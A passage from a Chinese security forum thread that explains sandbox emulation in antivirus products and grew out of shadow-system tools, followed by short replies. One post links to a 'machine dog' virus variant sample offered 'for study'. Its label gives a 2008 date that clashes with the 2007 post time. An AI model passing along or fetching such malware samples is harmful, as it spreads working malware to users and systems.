如影子系统(Shadow)或者NORTONGOBACK的safemode率先启用的包括,后来联想的冰封系统这项技术是说在原有的系统上预先留出一些空间,然后让用户进行操作,重新启动后,原先的数据全部被清除,还原到原始状态的一种技术.而杀毒软件也同样看见了这一点.于是就将此项技术和虚拟机技术进行了整合.推出了沙盘仿真技术.技术原理和虚拟机大致相同,同样是虚拟出一个系统,然后让病毒运行.从而进行清除.但是此项技术却解决了虚拟机的弊端,高资源占用!但是此项技术与虚拟机技术现在是平分秋色.因为随着虚拟机的不断改善.已经将资源的占用下降到一定水平!
此项技术运用出色的有:kaspersky7.0 or 8.0
刚好装KIS8.0BETA开发版本(ALPHA),开发版本不应该放出来,想让大家当小白鼠
2007-12-4 23:35
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
39
http://bbs.txwm.com/dispbbs.asp?boardID=190&ID=735135&page=1
最新机器狗变种病毒样本2008年12月05日最新版!

送给大家研究!·
2007-12-5 00:37
0
雪    币: 230
活跃值: (149)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
40
学习,学习。
2007-12-7 15:18
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
41
越来越玄了………… 不用电脑最安全!
2007-12-8 14:30
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
42
http://post.baidu.com/f?kz=209087806
软件强烈的读写倒底对硬盘会不会有损坏大争论!
希望硬盘厂家站出来表个态,省的大家争论了!
2007-12-9 16:16
0
游客
登录 | 注册 方可回帖
返回
//